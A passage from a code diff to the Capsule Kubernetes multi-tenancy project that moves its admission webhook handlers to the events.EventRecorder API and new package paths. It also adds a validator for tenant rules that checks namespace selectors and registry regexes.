    +func (h *metaHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		return h.handle(decoder, req)
     	}
     }
     
    -func (h *metaHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *metaHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		return h.handle(decoder, req)
     	}
     }
     
    -func (h *metaHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *metaHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    
  • internal/webhook/tenantresource/objects.go+11 10 modified
    @@ -10,42 +10,43 @@ import (
     
     	corev1 "k8s.io/api/core/v1"
     	"k8s.io/apimachinery/pkg/fields"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/indexer/tenantresource"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/runtime/indexers/tenantresource"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     type cordoningHandler struct{}
     
    -func WriteOpsHandler() capsulewebhook.Handler {
    +func WriteOpsHandler() handlers.Handler {
     	return &cordoningHandler{}
     }
     
    -func (h *cordoningHandler) OnCreate(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *cordoningHandler) OnCreate(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *cordoningHandler) OnDelete(client client.Client, _ admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *cordoningHandler) OnDelete(client client.Client, _ admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.handler(ctx, client, req, recorder)
     	}
     }
     
    -func (h *cordoningHandler) OnUpdate(client client.Client, _ admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *cordoningHandler) OnUpdate(client client.Client, _ admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.handler(ctx, client, req, recorder)
     	}
     }
     
    -func (h *cordoningHandler) handler(ctx context.Context, clt client.Client, req admission.Request, recorder record.EventRecorder) *admission.Response {
    +func (h *cordoningHandler) handler(ctx context.Context, clt client.Client, req admission.Request, recorder events.EventRecorder) *admission.Response {
     	tnt, err := tenant.TenantByStatusNamespace(ctx, clt, req.Namespace)
     	if err != nil {
     		return utils.ErroredResponse(err)
    @@ -76,7 +77,7 @@ func (h *cordoningHandler) handler(ctx context.Context, clt client.Client, req a
     	}
     
     	if len(local.Items) > 0 || len(global.Items) > 0 {
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "TenantResourceWriteOp", "%s %s/%s cannot be %sd, resource is managed by the Tenant", req.Kind.String(), req.Namespace, req.Name, strings.ToLower(string(req.Operation)))
    +		recorder.Eventf(tnt, nil, corev1.EventTypeWarning, evt.ReasonTenantResourceWriteOp, evt.ActionValidationDenied, "%s %s/%s cannot be %sd, resource is managed by the Tenant", req.Kind.String(), req.Namespace, req.Name, strings.ToLower(string(req.Operation)))
     
     		response := admission.Denied(fmt.Sprintf("resource %s is managed at the Tenant level", req.Name))
     
    
  • internal/webhook/tenant/validation/containerregistry_regex.go+6 6 modified
    @@ -8,22 +8,22 @@ import (
     	"context"
     	"regexp"
     
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type containerRegistryRegexHandler struct{}
     
    -func ContainerRegistryRegexHandler() capsulewebhook.Handler {
    +func ContainerRegistryRegexHandler() handlers.Handler {
     	return &containerRegistryRegexHandler{}
     }
     
    -func (h *containerRegistryRegexHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *containerRegistryRegexHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		if err := h.validate(decoder, req); err != nil {
     			return err
    @@ -33,13 +33,13 @@ func (h *containerRegistryRegexHandler) OnCreate(_ client.Client, decoder admiss
     	}
     }
     
    -func (h *containerRegistryRegexHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *containerRegistryRegexHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *containerRegistryRegexHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *containerRegistryRegexHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		if response := h.validate(decoder, req); response != nil {
     			return response
    
  • internal/webhook/tenant/validation/cordoning.go+12 11 modified
    @@ -9,46 +9,47 @@ import (
     	"strings"
     
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    -	"github.com/projectcapsule/capsule/pkg/utils/users"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
    +	"github.com/projectcapsule/capsule/pkg/users"
     )
     
     type cordoningHandler struct {
     	configuration configuration.Configuration
     }
     
    -func CordoningHandler(configuration configuration.Configuration) capsulewebhook.Handler {
    +func CordoningHandler(configuration configuration.Configuration) handlers.Handler {
     	return &cordoningHandler{
     		configuration: configuration,
     	}
     }
     
    -func (h *cordoningHandler) OnCreate(c client.Client, _ admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *cordoningHandler) OnCreate(c client.Client, _ admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.cordonHandler(ctx, c, req, recorder)
     	}
     }
     
    -func (h *cordoningHandler) OnDelete(c client.Client, _ admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *cordoningHandler) OnDelete(c client.Client, _ admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.cordonHandler(ctx, c, req, recorder)
     	}
     }
     
    -func (h *cordoningHandler) OnUpdate(c client.Client, _ admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *cordoningHandler) OnUpdate(c client.Client, _ admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.cordonHandler(ctx, c, req, recorder)
     	}
     }
     
    -func (h *cordoningHandler) cordonHandler(ctx context.Context, c client.Client, req admission.Request, recorder record.EventRecorder) *admission.Response {
    +func (h *cordoningHandler) cordonHandler(ctx context.Context, c client.Client, req admission.Request, recorder events.EventRecorder) *admission.Response {
     	tnt, err := tenant.TenantByStatusNamespace(ctx, c, req.Namespace)
     	if err != nil {
     		return utils.ErroredResponse(err)
    @@ -59,7 +60,7 @@ func (h *cordoningHandler) cordonHandler(ctx context.Context, c client.Client, r
     	}
     
     	if tnt.Spec.Cordoned && users.IsCapsuleUser(ctx, c, h.configuration, req.UserInfo.Username, req.UserInfo.Groups) {
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "TenantFreezed", "%s %s/%s cannot be %sd, current Tenant is freezed", req.Kind.String(), req.Namespace, req.Name, strings.ToLower(string(req.Operation)))
    +		recorder.Eventf(tnt, nil, corev1.EventTypeWarning, evt.ReasonCordoning, evt.ActionValidationDenied, "%s %s/%s cannot be %sd, current Tenant is cordoned", req.Kind.String(), req.Namespace, req.Name, strings.ToLower(string(req.Operation)))
     
     		response := admission.Denied(fmt.Sprintf("tenant %s is freezed: please, reach out to the system administrator", tnt.GetName()))
     
    
  • internal/webhook/tenant/validation/custom_resource_quota.go+9 8 modified
    @@ -10,28 +10,29 @@ import (
     	"github.com/pkg/errors"
     	corev1 "k8s.io/api/core/v1"
     	"k8s.io/apimachinery/pkg/types"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"k8s.io/client-go/util/retry"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     type resourceCounterHandler struct {
     	client client.Client
     }
     
    -func ResourceCounterHandler(client client.Client) capsulewebhook.Handler {
    +func ResourceCounterHandler(client client.Client) handlers.Handler {
     	return &resourceCounterHandler{
     		client: client,
     	}
     }
     
    -func (r *resourceCounterHandler) OnCreate(clt client.Client, _ admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (r *resourceCounterHandler) OnCreate(clt client.Client, _ admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		var tntName string
     
    @@ -74,7 +75,7 @@ func (r *resourceCounterHandler) OnCreate(clt client.Client, _ admission.Decoder
     		})
     		if err != nil {
     			if errors.As(err, &customResourceQuotaError{}) {
    -				recorder.Eventf(tnt, corev1.EventTypeWarning, "ResourceQuota", "Resource %s/%s in API group %s cannot be created, limit usage of %d has been reached", req.Namespace, req.Name, kgv, limit)
    +				recorder.Eventf(tnt, nil, corev1.EventTypeWarning, evt.ReasonOverprovision, evt.ActionValidationDenied, "Resource %s/%s in API group %s cannot be created, limit usage of %d has been reached", req.Namespace, req.Name, kgv, limit)
     			}
     
     			return utils.ErroredResponse(err)
    @@ -84,7 +85,7 @@ func (r *resourceCounterHandler) OnCreate(clt client.Client, _ admission.Decoder
     	}
     }
     
    -func (r *resourceCounterHandler) OnDelete(clt client.Client, _ admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (r *resourceCounterHandler) OnDelete(clt client.Client, _ admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		var tntName string
     
    @@ -127,7 +128,7 @@ func (r *resourceCounterHandler) OnDelete(clt client.Client, _ admission.Decoder
     	}
     }
     
    -func (r *resourceCounterHandler) OnUpdate(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (r *resourceCounterHandler) OnUpdate(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    
  • internal/webhook/tenant/validation/forbidden_annotations_regex.go+6 6 modified
    @@ -8,22 +8,22 @@ import (
     	"fmt"
     	"regexp"
     
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type forbiddenAnnotationsRegexHandler struct{}
     
    -func ForbiddenAnnotationsRegexHandler() capsulewebhook.Handler {
    +func ForbiddenAnnotationsRegexHandler() handlers.Handler {
     	return &forbiddenAnnotationsRegexHandler{}
     }
     
    -func (h *forbiddenAnnotationsRegexHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *forbiddenAnnotationsRegexHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		if err := h.validate(decoder, req); err != nil {
     			return err
    @@ -33,13 +33,13 @@ func (h *forbiddenAnnotationsRegexHandler) OnCreate(_ client.Client, decoder adm
     	}
     }
     
    -func (h *forbiddenAnnotationsRegexHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *forbiddenAnnotationsRegexHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *forbiddenAnnotationsRegexHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *forbiddenAnnotationsRegexHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		if response := h.validate(decoder, req); response != nil {
     			return response
    
  • internal/webhook/tenant/validation/freezed_emitter.go+9 8 modified
    @@ -7,34 +7,35 @@ import (
     	"context"
     
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type freezedEmitterHandler struct{}
     
    -func FreezedEmitter() capsulewebhook.Handler {
    +func FreezedEmitter() handlers.Handler {
     	return &freezedEmitterHandler{}
     }
     
    -func (h *freezedEmitterHandler) OnCreate(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *freezedEmitterHandler) OnCreate(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *freezedEmitterHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *freezedEmitterHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *freezedEmitterHandler) OnUpdate(_ client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *freezedEmitterHandler) OnUpdate(_ client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		oldTnt := &capsulev1beta2.Tenant{}
     		if err := decoder.DecodeRaw(req.OldObject, oldTnt); err != nil {
    @@ -48,9 +49,9 @@ func (h *freezedEmitterHandler) OnUpdate(_ client.Client, decoder admission.Deco
     
     		switch {
     		case !oldTnt.Spec.Cordoned && newTnt.Spec.Cordoned:
    -			recorder.Eventf(newTnt, corev1.EventTypeNormal, "TenantCordoned", "Tenant has been cordoned")
    +			recorder.Eventf(newTnt, newTnt, corev1.EventTypeNormal, evt.ReasonCordoning, evt.ActionCordoned, "Tenant has been cordoned", "")
     		case oldTnt.Spec.Cordoned && !newTnt.Spec.Cordoned:
    -			recorder.Eventf(newTnt, corev1.EventTypeNormal, "TenantUncordoned", "Tenant has been uncordoned")
    +			recorder.Eventf(newTnt, newTnt, corev1.EventTypeNormal, evt.ReasonCordoning, evt.ActionUncordoned, "Tenant has been uncordoned", "")
     		}
     
     		return nil
    
  • internal/webhook/tenant/validation/hostname_regex.go+6 6 modified
    @@ -8,22 +8,22 @@ import (
     	"context"
     	"regexp"
     
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type hostnameRegexHandler struct{}
     
    -func HostnameRegexHandler() capsulewebhook.Handler {
    +func HostnameRegexHandler() handlers.Handler {
     	return &hostnameRegexHandler{}
     }
     
    -func (h *hostnameRegexHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *hostnameRegexHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		if response := h.validate(decoder, req); response != nil {
     			return response
    @@ -33,13 +33,13 @@ func (h *hostnameRegexHandler) OnCreate(_ client.Client, decoder admission.Decod
     	}
     }
     
    -func (h *hostnameRegexHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *hostnameRegexHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *hostnameRegexHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *hostnameRegexHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		if err := h.validate(decoder, req); err != nil {
     			return err
    
  • internal/webhook/tenant/validation/ingressclass_regex.go+7 7 modified
    @@ -8,22 +8,22 @@ import (
     	"context"
     	"regexp"
     
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type ingressClassRegexHandler struct{}
     
    -func IngressClassRegexHandler() capsulewebhook.Handler {
    +func IngressClassRegexHandler() handlers.Handler {
     	return &ingressClassRegexHandler{}
     }
     
    -func (h *ingressClassRegexHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *ingressClassRegexHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		if response := h.validate(decoder, req); response != nil {
     			return response
    @@ -33,13 +33,13 @@ func (h *ingressClassRegexHandler) OnCreate(_ client.Client, decoder admission.D
     	}
     }
     
    -func (h *ingressClassRegexHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *ingressClassRegexHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *ingressClassRegexHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *ingressClassRegexHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		if err := h.validate(decoder, req); err != nil {
     			return err
    @@ -49,13 +49,13 @@ func (h *ingressClassRegexHandler) OnUpdate(_ client.Client, decoder admission.D
     	}
     }
     
    -//nolint:staticcheck
     func (h *ingressClassRegexHandler) validate(decoder admission.Decoder, req admission.Request) *admission.Response {
     	tenant := &capsulev1beta2.Tenant{}
     	if err := decoder.Decode(req, tenant); err != nil {
     		return utils.ErroredResponse(err)
     	}
     
    +	//nolint:staticcheck
     	if tenant.Spec.IngressOptions.AllowedClasses != nil && len(tenant.Spec.IngressOptions.AllowedClasses.Regex) > 0 {
     		if _, err := regexp.Compile(tenant.Spec.IngressOptions.AllowedClasses.Regex); err != nil {
     			response := admission.Denied("unable to compile ingressClasses allowedRegex")
    
  • internal/webhook/tenant/validation/name.go+6 6 modified
    @@ -7,22 +7,22 @@ import (
     	"context"
     	"regexp"
     
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type nameHandler struct{}
     
    -func NameHandler() capsulewebhook.Handler {
    +func NameHandler() handlers.Handler {
     	return &nameHandler{}
     }
     
    -func (h *nameHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *nameHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		tenant := &capsulev1beta2.Tenant{}
     		if err := decoder.Decode(req, tenant); err != nil {
    @@ -40,13 +40,13 @@ func (h *nameHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ rec
     	}
     }
     
    -func (h *nameHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *nameHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *nameHandler) OnUpdate(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *nameHandler) OnUpdate(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    
  • internal/webhook/tenant/validation/protected.go+6 6 modified
    @@ -7,28 +7,28 @@ import (
     	"context"
     
     	"k8s.io/apimachinery/pkg/types"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type protectedHandler struct{}
     
    -func ProtectedHandler() capsulewebhook.Handler {
    +func ProtectedHandler() handlers.Handler {
     	return &protectedHandler{}
     }
     
    -func (h *protectedHandler) OnCreate(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *protectedHandler) OnCreate(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *protectedHandler) OnDelete(clt client.Client, _ admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *protectedHandler) OnDelete(clt client.Client, _ admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		tenant := &capsulev1beta2.Tenant{}
     
    @@ -46,7 +46,7 @@ func (h *protectedHandler) OnDelete(clt client.Client, _ admission.Decoder, _ re
     	}
     }
     
    -func (h *protectedHandler) OnUpdate(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *protectedHandler) OnUpdate(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    
  • internal/webhook/tenant/validation/rolebindings_regex.go+6 6 modified
    @@ -10,34 +10,34 @@ import (
     
     	rbacv1 "k8s.io/api/rbac/v1"
     	"k8s.io/apimachinery/pkg/util/validation"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type rbRegexHandler struct{}
     
    -func RoleBindingRegexHandler() capsulewebhook.Handler {
    +func RoleBindingRegexHandler() handlers.Handler {
     	return &rbRegexHandler{}
     }
     
    -func (h *rbRegexHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *rbRegexHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		return h.validate(req, decoder)
     	}
     }
     
    -func (h *rbRegexHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *rbRegexHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *rbRegexHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *rbRegexHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		return h.validate(req, decoder)
     	}
    
  • internal/webhook/tenant/validation/rule_validator.go+93 0 added
    @@ -0,0 +1,93 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package validation
    +
    +import (
    +	"context"
    +	"fmt"
    +	"regexp"
    +
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +	"k8s.io/client-go/tools/events"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +)
    +
    +type RuleValidationHandler struct{}
    +
    +func RuleHandler() handlers.Handler {
    +	return &RuleValidationHandler{}
    +}
    +
    +func (h *RuleValidationHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
    +	return func(_ context.Context, req admission.Request) *admission.Response {
    +		if err := ValidateRule(decoder, req); err != nil {
    +			return err
    +		}
    +
    +		return nil
    +	}
    +}
    +
    +func (h *RuleValidationHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
    +	return func(context.Context, admission.Request) *admission.Response {
    +		return nil
    +	}
    +}
    +
    +func (h *RuleValidationHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
    +	return func(_ context.Context, req admission.Request) *admission.Response {
    +		if response := ValidateRule(decoder, req); response != nil {
    +			return response
    +		}
    +
    +		return nil
    +	}
    +}
    +
    +func ValidateRule(decoder admission.Decoder, req admission.Request) *admission.Response {
    +	tnt := &capsulev1beta2.Tenant{}
    +	if err := decoder.Decode(req, tnt); err != nil {
    +		return utils.ErroredResponse(err)
    +	}
    +
    +	if len(tnt.Spec.Rules) == 0 {
    +		return nil
    +	}
    +
    +	// Validate Rules
    +	for i, rule := range tnt.Spec.Rules {
    +		if rule == nil {
    +			continue
    +		}
    +
    +		// Validate NamespaceSelector (if provided)
    +		if rule.NamespaceSelector != nil {
    +			if _, err := metav1.LabelSelectorAsSelector(rule.NamespaceSelector); err != nil {
    +				resp := admission.Denied(
    +					fmt.Sprintf("rules[%d].namespaceSelector is invalid: %v", i, err),
    +				)
    +
    +				return &resp
    +			}
    +		}
    +
    +		// Validate Registries
    +		for _, r := range rule.Enforce.Registries {
    +			if _, err := regexp.Compile(r.Registry); err != nil {
    +				resp := admission.Denied(
    +					fmt.Sprintf("unable to compile regex %q: %v", r.Registry, err),
